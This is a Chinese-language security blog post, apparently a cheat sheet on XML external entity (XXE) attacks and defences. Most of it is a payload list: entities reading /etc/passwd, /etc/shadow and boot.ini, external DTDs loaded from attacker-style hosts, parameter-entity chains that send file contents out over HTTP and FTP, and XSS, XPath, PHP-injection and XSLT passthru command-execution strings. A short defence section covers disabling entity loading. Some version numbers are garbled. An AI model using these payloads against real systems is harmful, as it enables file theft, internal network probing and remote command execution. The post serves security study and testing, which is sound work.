应用安全-XXE(XML外部实体注入)攻防整理

libxml2..1及以后，默认不解析外部实体。测试的时候window下使用php5.(libxml Version 2.7. ), php5.(libxml Version 2.7.)。Linux中需要将libxml低于libxml2..1的版本编译到PHP中，可使用phpinfo()查看libxml的版本信息

外部实体注入 - 通过DTD外部实体声明

<?xml version="1.0"?>

<!DOCTYPE a [<!ENTITY b SYSTEM "file://etc/passwd">]>

<c>&b;</c>

外部实体注入 - 通过DTD文档引入外部DTD文档，再引入外部实体声明

<?xml version="1.0"?>

<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">

<c>&b;</c>

DTD内容：

<!ENTITY b SYSTEM "file:///etc/passwd">

外部实体注入 - 通过DTD引入外部实体声明

<?xml version="1.0">

<!DOCTYPE a [

<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">

%d;

]>

<c>&b;</c>

DTD内容：

<!ENTITY b SYSTEM "file///etc/passwd">

XMLDTD部分支持协议

libxml2    file http ftp

PHP    file http ftp php compress.zlib compress.bzip2 data glob phar

    扩展支持部分：

    https/ftps openssl

    zip zip

    ssh2.shell/ssh2.exec/ssh2.tunnel/ssh2.sftp/ssh2.scp  ssh2

    rar  rar

    ogg  oggvorbis

    expect  expect        

Java    http https ftp file jar netdoc mailto gopher *     

.NET    file http https ftp

工具 - burp - Collaborator

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright [

<!ENTITY test SYSTEM "http://collaborator生成的随机值">

]>
XML语句

XML Schema 实体的攻击 - schemaLocation

XML Schema 实体的攻击 - noNamespaceSchemaLocation

XML Schema 实体的攻击 - XInclude。

XML Schema 实体的攻击 - XSLT 攻击

XXE - 读取任意文件

XXE - 执行系统命令

XXE - 探测内网端口

XXE - 攻击内网网站

XXE - DDOS攻击

防御 - 禁用外部实体

PHP：

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python：

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

防御 - 过滤用户提交的XML数据

关键字：<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC

Fuzzing

 <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >

 <?xml version="1.0" encoding="ISO-8859-1"?>

 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>

 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>

 <?xml version="1.0" encoding="ISO-8859-1"?><test></test>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]>

 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>

 <test></test>

 <![CDATA[<test></test>]]>

 &foo;

 %foo;

 count(/child::node())

 x' or name()='username' or 'x'='y

 <name>','')); phpinfo(); exit;/*</name>

 <![CDATA[<script>var n=;while(true){n++;}</script>]]>

 <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>

 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>

 <foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>

 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>

 <foo><![CDATA[' or 1=1 or ''=']]></foo>

 <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>

 <xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

 <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

 <xml SRC="xsstest.xml" ID=I></xml>

 <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>

 <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">

 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert()</script></xsl:template></xsl:stylesheet>

 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet>

 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet>

 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>

 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>

 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>

 <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>

 <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:80/?%file;'>  "> %int;

 <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://127.0.0.1:21/%data3;'>">

 <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>

 <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>

 <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

检测工具

XXEinjector  -  基于Ruby

巴特西

应用安全-XXE(XML外部实体注入)攻防整理

最新文章

热门文章